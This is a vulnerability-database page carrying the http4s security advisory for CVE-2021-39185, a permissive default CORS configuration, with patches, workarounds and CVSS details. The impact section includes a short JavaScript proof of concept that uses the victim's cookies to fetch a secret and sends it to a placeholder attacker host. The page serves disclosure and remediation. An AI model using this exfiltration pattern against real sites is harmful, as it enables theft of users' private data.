Loading...
Skip to main content

CVE-2021-39185 — Vulnerability in org.http4s:http4s-server_2.12 —...

CRITICAL

Default CORS config allows any origin with credentials

Published September 2, 2021Updated July 8, 2026Source: osv

Summary

### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain p4ssw0rd ``` A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`: ```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send(); function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ``` #### Null origin attack The middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above. ### Patches The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures: ### Migration The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware: ```scala val routes: HttpRoutes[F] = ??? val cors = CORS.policy .withAllowOriginAll .withAllowCredentials(false) .apply(routes) ``` ### Workarounds It is possible to be safe in unpatched versions, but note the following defects exist: * The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response. * Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers. * Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches. * Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. * Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice. * Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice. * Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice. #### Explicit origins In versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy( anyOrigin = false, allowOrigins = Set("http://trusted.example.com") ) val cors = CORS(routes, config) ``` ###### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default .withAnyOrigin(false) .withAllowedOrigins(Set("http://trusted.example.com")) val cors = CORS(routes, config) ``` #### Disable credentials Alternatively, sharing responses tainted by credentials can be deprecated. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy(allowCredentials = false) val cors = CORS(routes, config) ``` ##### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default.withAllowedCredentials(false) val cors = CORS(routes, config) ``` ### References * The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md) ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)

Advisory Timeline

  • First published September 2, 2021 (1866 days ago).
  • Last revised July 8, 2026 — 1770 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update org.http4s:http4s-server_2.12 to 0.22.3 or later
<!-- Update pom.xml dependency version to 0.22.3 for org.http4s:http4s-server_2.12 -->
Maven
Update org.http4s:http4s-server_2.13 to 0.23.2 or later
<!-- Update pom.xml dependency version to 0.23.2 for org.http4s:http4s-server_2.13 -->
Maven
Update org.http4s:http4s-server_2.13 to 0.21.27 or later
<!-- Update pom.xml dependency version to 0.21.27 for org.http4s:http4s-server_2.13 -->
Maven
Update org.http4s:http4s-server_2.13 to 0.22.3 or later
<!-- Update pom.xml dependency version to 0.22.3 for org.http4s:http4s-server_2.13 -->
Maven
Update org.http4s:http4s-server_2.12 to 0.21.27 or later
<!-- Update pom.xml dependency version to 0.21.27 for org.http4s:http4s-server_2.12 -->
Maven
Update org.http4s:http4s-server_3 to 0.23.2 or later
<!-- Update pom.xml dependency version to 0.23.2 for org.http4s:http4s-server_3 -->
Maven
Update org.http4s:http4s-server_3 to 0.22.3 or later
<!-- Update pom.xml dependency version to 0.22.3 for org.http4s:http4s-server_3 -->
Maven
Update org.http4s:http4s-server_2.12 to 0.23.2 or later
<!-- Update pom.xml dependency version to 0.23.2 for org.http4s:http4s-server_2.12 -->

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (11)

Affects 1 ecosystem: maven (6).

PackageEcosystemAffectedFixed In
org.http4s:http4s-server_2.12
maven
0.22-129-24d065b, 0.22-143-49b5a8d, 0.22-53-01128f5, 0.22-96-55d3184 (+3 more)0.22.3
org.http4s:http4s-server_2.13
maven
0.23.0, 0.23.10.23.2
org.http4s:http4s-server_2.13
maven
0.10.0-M10, 0.21.0, 0.21.0-M1, 0.21.0-M2 (+34 more)0.21.27
org.http4s:http4s-server_2.13.0-M5
maven
0.20.0, 0.20.0-RC1, 0.20.1, 0.20.10 (+8 more)Range-based data available
org.http4s:http4s-server_2.10
maven
0.10.0, 0.10.1, 0.11.0, 0.11.1 (+127 more)Range-based data available
org.http4s:http4s-server_2.13
maven
0.22-129-24d065b, 0.22-143-49b5a8d, 0.22-53-01128f5, 0.22-96-55d3184 (+3 more)0.22.3
org.http4s:http4s-server_2.11
maven
0.10.0, 0.10.1, 0.11.0, 0.11.1 (+216 more)Range-based data available
org.http4s:http4s-server_2.12
maven
0.10.0-M10, 0.15.0, 0.15.0a, 0.15.1 (+180 more)0.21.27
org.http4s:http4s-server_3
maven
0.23.0, 0.23.10.23.2
org.http4s:http4s-server_3
maven
0.22.0, 0.22.1, 0.22.20.22.3
org.http4s:http4s-server_2.12
maven
0.23.0, 0.23.10.23.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-346
    Origin Validation ErrorMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2021-39185?
Default CORS config allows any origin with credentials This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2021-39185?
CVE-2021-39185 affects org.http4s:http4s-server_2.12, org.http4s:http4s-server_2.13 and org.http4s:http4s-server_2.13.0-M5 (and 3 more). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2021-39185 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-52cf-226f-rhr6

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies